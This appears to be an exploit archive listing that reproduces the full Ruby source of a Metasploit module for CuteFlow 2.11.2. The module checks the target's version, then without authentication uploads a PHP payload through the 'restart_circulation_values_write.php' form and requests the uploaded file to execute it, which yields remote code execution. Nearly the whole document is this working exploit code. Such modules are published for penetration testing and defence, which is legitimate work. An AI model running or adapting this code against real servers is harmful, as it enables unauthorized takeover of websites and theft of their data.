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CuteFlow 2.11.2 Arbitrary File Upload

CuteFlow 2.11.2 Arbitrary File Upload
Posted Jul 27, 2012
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in CuteFlow version 2.11.2 or prior. This application has an upload feature that allows an unauthenticated user to upload arbitrary files to the 'upload/___1/' directory and then execute it.

tags | exploit, arbitrary
MD5 | 22b6219aee828f29e8809b75f2c45aa5

CuteFlow 2.11.2 Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
This application has an upload feature that allows an unauthenticated
user to upload arbitrary files to the 'upload/___1/' directory
and then execute it.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']
#['OSVDB', ''],
#['EDB', ''],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Jul 27 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
], self.class)
end

def check

base = target_uri.path
base << '/' if base[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
'uri' => "#{base}"
})

if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
return Exploit::CheckCode::Vulnerable
elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end

end

def upload(base, fname, file)

# construct post data
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: text/php\r\n"
data_post << "\r\n"
data_post << file
data_post << "\r\n"
data_post << "--#{boundary}\r\n"

# upload
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}pages/restart_circulation_values_write.php",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})

return res
end

def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
@peer = "#{rhost}:#{rport}"

# upload PHP payload to upload/___1/
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
fname = rand_text_alphanumeric(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
res = upload(base, fname, php)
if res.nil?
print_error("#{@peer} - Uploading PHP payload failed")
return
end

# retrieve and execute PHP payload
print_status("#{@peer} - Retrieving file: #{fname}")
send_request_raw({
'method' => 'GET',
'uri' => "#{base}upload/___1/#{fname}"
})

handler
end
end
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